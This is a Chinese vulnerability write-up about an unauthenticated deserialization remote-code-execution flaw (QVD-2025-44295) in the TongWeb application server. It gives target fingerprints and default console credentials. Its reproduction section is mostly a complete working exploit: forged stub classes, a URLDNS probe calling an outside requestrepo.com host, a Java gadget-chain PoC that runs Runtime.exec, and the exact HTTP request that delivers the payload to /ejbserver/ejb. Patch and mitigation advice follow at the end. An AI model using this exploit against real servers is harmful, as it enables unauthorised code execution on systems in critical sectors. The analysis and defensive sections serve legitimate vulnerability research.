QVD-2025-44295:东方通TongWeb应用服务器ejbserver远程代码执行漏洞

admin 2026-01-29 01:08:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了东方通TongWeb应用服务器远程代码执行漏洞QVD-2025-44295。漏洞因ejbserver接口未对Java序列化数据有效校验,导致攻击者可发送恶意包实现RCE。文章涵盖受影响版本、指纹特征及复现过程,建议升级补丁或禁用EJB服务修复。 综合评分: 94 文章分类: 漏洞分析,漏洞POC,WEB安全,应用安全


cover_image

QVD-2025-44295:东方通TongWeb应用服务器ejbserver远程代码执行漏洞

原创

漏洞研究组 漏洞研究组

Timeline Sec

2026年1月28日 18:30 上海

关注我们❤️,添加星标🌟,一起学安全! 作者:Howell & N1Rvana 本文字数:9406 阅读时长:3~5mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

TongWeb 是东方通(Beijing Tongtech Co., Ltd.)自主研发的企业级应用服务器,全面支持 Java EE(现 Jakarta EE)标准,兼容主流开发框架,广泛应用于金融、电信、政府、能源等关键行业的信息化和数字化转型。TongWeb 具备高性能、高可用、分布式和集群部署能力,支持微服务架构、容器化和云原生环境,能够灵活适配多种操作系统和硬件平台。

0x02 漏洞概述

漏洞编号:QVD-2025-44295 该漏洞的核心在于 TongWeb 应用服务器在默认配置下,将 ejbserver 接口暴露在 Web 端口,同时其 EJB 服务接口未能对输入的 Java 序列化对象进行有效的安全过滤

TongWeb 默认在 Web 容器里挂载 /ejbserver 路径,把外部 HTTP 请求直接转发给内部 EJB 二进制 RPC 处理链。最终在 ServerMetaData.readExternal() 里调用无任何白名单校验的 ObjectInputStream.readObject()

攻击者只需向 /ejbserver 发送一段精心构造的 Java 原生序列化数据(内含 CommonsCollections、javax.swing.UIDefaults 等 Gadget Chain),服务器在反序列化过程中会自动执行 Gadget 里各个类在初始化阶段被回调的方法,串出一条通往 Runtime.exec() 或 ProcessBuilder.start() 的调用路径,从而实现远程代码执行(RCE)。

0x03 利用条件

1)影响版本

  • 7.0.0.0 <= TongWeb <= 7.0.4.9_M9
  • 6.1.7.0 <= TongWeb <= 6.1.8.13

2)所需权限: 无需

0x04 环境搭建

搭建环境的时候根据需求执行 .sh 脚本,有时需要修改启动/安装脚本或者配置文件中的配置路径。 另外,如果没有项目的源码也不要担心,还有以下三种替代方案可以构造 POC:

方案 A:手写“影子类” (Stubbing)

根据 POC 代码,在本地创建一个同包名、同类名的空类,并实现 Serializable 接口。 关键点:不仅要包名+类名一致,还必须把父类 javax.naming.Reference 的所有私有字段原样拷贝,且 serialVersionUID 必须与目标容器里的版本一字不差(可用 serialver 或 ObjectStreamClass.lookup() 提取)。

1、在项目中创建包:com.tongweb.naming。 2、创建 ResourceRef

package&nbsp;com.tongweb.naming;
import&nbsp;javax.naming.Reference;
import&nbsp;java.io.Serializable;
publicclass&nbsp;ResourceRef&nbsp;extends&nbsp;Reference&nbsp;implements&nbsp;Serializable&nbsp;{
&nbsp; &nbsp;&nbsp;privatestaticfinallong&nbsp;serialVersionUID = 目标容器的UID;&nbsp;// ← 必须一致
&nbsp; &nbsp;&nbsp;public&nbsp;ResourceRef(String className, String factory, String factoryLocation)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;super(className, factory, factoryLocation);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 把 POC 里的 7 参构造补齐
&nbsp; &nbsp;&nbsp;public&nbsp;ResourceRef(String className, String factory, String factoryLocation,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;String factoryInterface,&nbsp;boolean&nbsp;singleton,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;String beanFactory, String beanFactoryLocation)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;super(className, factory, factoryLocation);
&nbsp; &nbsp; &nbsp; &nbsp; setFactoryClassName(factory);
&nbsp; &nbsp; &nbsp; &nbsp; setFactoryClassLocation(factoryLocation);
&nbsp; &nbsp; &nbsp; &nbsp; setClassName(className);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 其余逻辑按 POC 实际参数补
&nbsp; &nbsp; }
}

3、同样方法伪造 ContextUtil.ReadOnlyBinding,注意把内部私有字段、serialVersionUID 全部对齐。

方案 B:使用字节码操纵库 (Javassist / ASM)

如果不想手动建几十个文件夹,可以用 Javassist 动态生成:

ClassPool pool = ClassPool.getDefault();
CtClass ct = pool.makeClass("com.tongweb.naming.ResourceRef");
ct.setSuperclass(pool.get("javax.naming.Reference"));
ct.addInterface(pool.get("java.io.Serializable"));
// 必须显式设置 UID
ct.addField(CtField.make("private static final long serialVersionUID = 目标UID;", ct));
Class<?> clazz = ct.toClass(Poc.class,&nbsp;Poc.class.getClassLoader());&nbsp;// 指定保护域,防止 IllegalAccessError

注意:父类 Reference 的私有字段(className、addrs 等)也要通过 ct.addField 补齐,否则反序列化会报 EOFException。

方案 C:使用现有安全工具框架

ysoserial 已经支持自定义 Gadget,只需:

1、把 TongWebGadget 按模板提交 PR;

2、指定 forceString=x=eval 和 EL 表达式即可。 框架会自动处理 ClassLoader、UID、字段对齐等问题。

特别注意事项:OEJP/1.0 头

TongWeb 在 非标准端口 监听,协议格式为:OEJP/1.0 + 1 字节版本号(POC里写1) + Java 原生序列化流

  • 脱离环境构造时: 6 字节头 + 1 字节版本必须原样保留;
  • 版本匹配: 如果目标服务器的 ResourceRef 与本地伪造类的 serialVersionUID 不一致,服务端会在 ObjectInputStream.readClassDesc() 阶段直接抛 InvalidClassException,请求被丢弃,不会进入 Gadget 逻辑
  • 父类字段: 即使 UID 相同,Reference 的私有字段布局一旦对不上,也会抛 EOFException,同样无法利用。

0x05 指纹特征

1. HTTP  响应头

  • Server: TongWeb Server

2. 默认管理控制台路径与标题

TongWeb 的管理后台具有非常明显的特征,默认情况下开放于 9060 端口。

  • 默认路径:/console/
  • 页面标题 (Title):TongWeb
  • 登录页特征: 页面通常包含东方通的 Logo。

3. 默认端口特征

| 用途 | 默认端口 | 典型访问地址 | 备注 | | — | — | — | — | | 管理控制台 | 9060 | http://<ip>:9060/console | 首次登录账号 thanos / thanos123.com,会被强制改密。 | | 业务应用 | 8088 | http://<ip>:8088/<应用上下文> | 部署 WAR 后,TongWeb 自动把应用映射到此端口。 |

0x06 漏洞复现

反序列化链验证

写一个URLDNS链:

import&nbsp;java.io.FileOutputStream;
import&nbsp;java.io.ObjectOutputStream;
import&nbsp;java.lang.reflect.Field;
import&nbsp;java.net.URL;
import&nbsp;java.util.HashMap;

publicclass&nbsp;Main&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; HashMap h=new&nbsp;HashMap();
&nbsp; &nbsp; &nbsp; &nbsp; URL url=new&nbsp;URL("https://bxxqes8f.requestrepo.com/");
&nbsp; &nbsp; &nbsp; &nbsp; Class cls=Class.forName("java.net.URL");
&nbsp; &nbsp; &nbsp; &nbsp; Field f = cls.getDeclaredField("hashCode");
&nbsp; &nbsp; &nbsp; &nbsp; f.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; f.set(url,1);
&nbsp; &nbsp; &nbsp; &nbsp; h.put(url,1);
&nbsp; &nbsp; &nbsp; &nbsp; f.set(url,-1);

&nbsp; &nbsp; &nbsp; &nbsp; FileOutputStream fileOutputStream =&nbsp;new&nbsp;FileOutputStream("ser.bin");
&nbsp; &nbsp; &nbsp; &nbsp; fileOutputStream.write("OEJP/1.0".getBytes("UTF-8"));
&nbsp; &nbsp; &nbsp; &nbsp; ObjectOutputStream objectOutputStream =&nbsp;new&nbsp;ObjectOutputStream(fileOutputStream);
&nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.writeByte(1);
&nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.writeObject(h);
&nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.close();
&nbsp; &nbsp; }
}

成功接收到了回显!

RCE

构造PoC:

  • PoC 最好放在源码的 lib/ 目录下编译并运行
  • 运行后会生成一个后缀为 .ser 的恶意文件
  • 推荐运行的 JDK 版本为 1.8
import&nbsp;com.tongweb.naming.ResourceRef;
import&nbsp;com.tongweb.xbean.naming.context.ContextUtil;
import&nbsp;com.tongweb.xbean.naming.context.WritableContext;
import&nbsp;sun.reflect.ReflectionFactory;
import&nbsp;javax.management.BadAttributeValueExpException;
import&nbsp;javax.naming.Context;
import&nbsp;javax.naming.StringRefAddr;
import&nbsp;java.io.FileOutputStream;
import&nbsp;java.io.ObjectOutputStream;
import&nbsp;java.lang.reflect.Constructor;
import&nbsp;java.lang.reflect.Field;

publicclass&nbsp;Poc&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception&nbsp;{

&nbsp; &nbsp; &nbsp; &nbsp; ResourceRef resourceRef =&nbsp;new&nbsp;ResourceRef("javax.el.ELProcessor", (String)null,&nbsp;"",&nbsp;"",&nbsp;true,&nbsp;"com.tongweb.naming.factory.BeanFactory", (String)null);
&nbsp; &nbsp; &nbsp; &nbsp; resourceRef.add(new&nbsp;StringRefAddr("forceString",&nbsp;"faster=eval"));
&nbsp; &nbsp; &nbsp; &nbsp; resourceRef.add(new&nbsp;StringRefAddr("faster",&nbsp;"Runtime.getRuntime().exec(\"touch /tmp/success\")"));

&nbsp; &nbsp; &nbsp; &nbsp; Context ctx = (Context) createWithoutConstructor(WritableContext.class);
&nbsp; &nbsp; &nbsp; &nbsp; ContextUtil.ReadOnlyBinding binding =&nbsp;new&nbsp;ContextUtil.ReadOnlyBinding("foo",resourceRef,ctx);

&nbsp; &nbsp; &nbsp; &nbsp; BadAttributeValueExpException badAttributeValueExpException =&nbsp;new&nbsp;BadAttributeValueExpException((Object)null);
&nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(badAttributeValueExpException,"val",binding);

&nbsp; &nbsp; &nbsp; &nbsp; FileOutputStream fileOutputStream =&nbsp;new&nbsp;FileOutputStream("ser.bin");
&nbsp; &nbsp; &nbsp; &nbsp; fileOutputStream.write("OEJP/1.0".getBytes("UTF-8"));
&nbsp; &nbsp; &nbsp; &nbsp; ObjectOutputStream objectOutputStream =&nbsp;new&nbsp;ObjectOutputStream(fileOutputStream);
&nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.writeByte(1);
&nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.writeObject(badAttributeValueExpException);
&nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.close();
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;setFieldValue(Object object,String field_name,Object filed_value)&nbsp;throws&nbsp;NoSuchFieldException, IllegalAccessException&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; Class clazz=object.getClass();
&nbsp; &nbsp; &nbsp; &nbsp; Field declaredField=clazz.getDeclaredField(field_name);
&nbsp; &nbsp; &nbsp; &nbsp; declaredField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; declaredField.set(object,filed_value);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;publicstatic&nbsp;<T>&nbsp;T&nbsp;createWithoutConstructor(Class<T> cls)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ReflectionFactory rf = ReflectionFactory.getReflectionFactory();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Constructor<Object> objDef = Object.class.getDeclaredConstructor();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Constructor<?> intConstr =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rf.newConstructorForSerialization(cls, objDef);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; intConstr.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T) intConstr.newInstance();
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;thrownew&nbsp;RuntimeException(e);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

在 Yakit 中发包(注意!!!目前只有 Yakit 能导入本地文件!BP这么干的话就会失败)

POST /ejbserver/ejb HTTP/1.1
Host: ip:8088
Pragma: no-cache
Upgrade-Insecure-Requests: 1
Content-Type: application/x-java-serialized-object
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9

{{file(.../.../ser.bin)}}

成功执行命令!

0x07 漏洞分析

1. 反序列化链验证与回显测试

漏洞位于 /ejbserver/ejb 路由。通过 JADX 搜索可发现,该路由注册的 Servlet 为 com.tongweb.tongejb.server.httpd.ServerServlet

package&nbsp;com.tongweb.tongejb.server.httpd;

import&nbsp;com.tongweb.tongejb.loader.SystemInstance;
import&nbsp;com.tongweb.tongejb.server.ServiceException;
import&nbsp;com.tongweb.tongejb.server.context.RequestInfos;
import&nbsp;com.tongweb.tongejb.server.ejbd.EjbServer;
import&nbsp;java.io.IOException;
import&nbsp;java.io.InputStream;
import&nbsp;java.io.OutputStream;
import&nbsp;javax.servlet.ServletConfig;
import&nbsp;javax.servlet.ServletException;
import&nbsp;javax.servlet.http.HttpServlet;
import&nbsp;javax.servlet.http.HttpServletRequest;
import&nbsp;javax.servlet.http.HttpServletResponse;

/* loaded from: tongweb.jar:com/tongweb/tongejb/server/httpd/ServerServlet.class */
publicclass&nbsp;ServerServlet&nbsp;extends&nbsp;HttpServlet&nbsp;{
&nbsp; &nbsp;&nbsp;publicstaticfinal&nbsp;String ACTIVATED_INIT_PARAM =&nbsp;"activated";
&nbsp; &nbsp;&nbsp;public&nbsp;EjbServer ejbServer;
&nbsp; &nbsp;&nbsp;publicboolean&nbsp;activated = SystemInstance.get().isDefaultProfile();

&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;init(ServletConfig config)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.ejbServer = (EjbServer) SystemInstance.get().getComponent(EjbServer.class);
&nbsp; &nbsp; &nbsp; &nbsp; String activatedStr = config.getInitParameter(ACTIVATED_INIT_PARAM);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(activatedStr !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.activated = Boolean.parseBoolean(activatedStr);
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.activated = Boolean.parseBoolean(System.getProperty(getClass().getName() +&nbsp;'.'&nbsp;+ ACTIVATED_INIT_PARAM,&nbsp;"true"));
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;service(HttpServletRequest request, HttpServletResponse response)&nbsp;throws&nbsp;ServletException, IOException&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!this.activated) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response.getWriter().write("");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; InputStream inputStream = request.getInputStream();
&nbsp; &nbsp; &nbsp; &nbsp; OutputStream outputStream = response.getOutputStream();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RequestInfos.initRequestInfo(request);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.ejbServer.service(inputStream, outputStream);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(ServiceException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;thrownew&nbsp;ServletException("ServerService error: "&nbsp;+&nbsp;this.ejbServer.getClass().getName() +&nbsp;" -- "&nbsp;+ e.getMessage(), e);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;finally&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RequestInfos.clearRequestInfo();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

该 Servlet 会读取 POST 请求中的数据,并传递给 com.tongweb.tongejb.server.ejbd.EjbServer#service(in, out) 方法。

进一步跟踪可发现,数据最终会进入 com.tongweb.tongejb.server.ejbd.EjbDaemon#service 方法。

在反序列化流程中,首先会调用 com.tongweb.tongejb.client.ProtocolMetaData#readExternal 方法。

然后进入 init 方法,该方法会对前八个字符进行截取和格式校验,构造 PoC 时需要注意。

随后进入 com.tongweb.tongejb.client.ServerMetaData#readExternal() 方法,执行 readByte 操作(在构造 PoC 时也需要注意),最后正式进入 readObject 进行反序列化。

2. 利用 xbean-naming 实现远程代码执行

要进行RCE,存在 xbean-naming 依赖。

来直接打这个反序列化,这里的 toString 可以直接触发到 getObject 方法。

这里会触发到ContextUtil.resolove()方法。

然后直接拼接一个TomcatElRef就可以了。

0x08 修复方式

东方通已于 2025-11-05 发布安全公告与升级包,请尽快下载对应版本补丁:

  • https://www.tongtech.com/newsDetail/102461.html
  • https://www.tongtech.com/dft/download.html

临时缓解(无法立即升级时)

1、禁用 EJB 远程服务(大部分 Web 应用无需该功能):在启动参数中添加 -Dcom.tongweb.tongejb.server.httpd.ServerServlet.activated=false

2、使用白名单/黑名单限制反序列化类(当业务必须开启 EJB):

-Dtongejb.serialization.class.whitelist=白名单类
-Dtongejb.serialization.class.blacklist=黑名单类

3、网络层访问控制:通过防火墙或反向代理限制 ejbserver 端口(默认 8080/8009 等)仅对可信 IP 开放,并在 TongWeb 配置中增加:-Dremote.clientIp.whitelist=可信客户端IP

4、关闭外网暴露:如非必要,将 TongWeb 置于内网或 VPN 之后,避免公网直接访问

参考链接

https://su18.org/post/hessian/ https://www.secrss.com/articles/85030 https://www.tongtech.com/newsDetail/102461.html

回复【加群】进入微信交流群 回复【SRC群】进入SRC-QQ交流群 回复【新人】领取新人学习指南资料 回复【面试】获取渗透测试常见面试题

回复【手册】获取原创技术PDF手册

回复【合作】获取各类安全项目合作方式 回复【帮会】付费加入SRC知识库学习 回复【培训】获取TimelineSec创办的实战课程

视频号:搜索TimelineSec,官方微博

团队官网:http://www.timelinesec.com

B站:https://space.bilibili.com/524591903

觉得有用就点个赞吧!

欢迎评论区留言讨论~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Timeline Sec 漏洞研究组 漏洞研究组《QVD-2025-44295:东方通TongWeb应用服务器ejbserver远程代码执行漏洞》

评论:0   参与:  0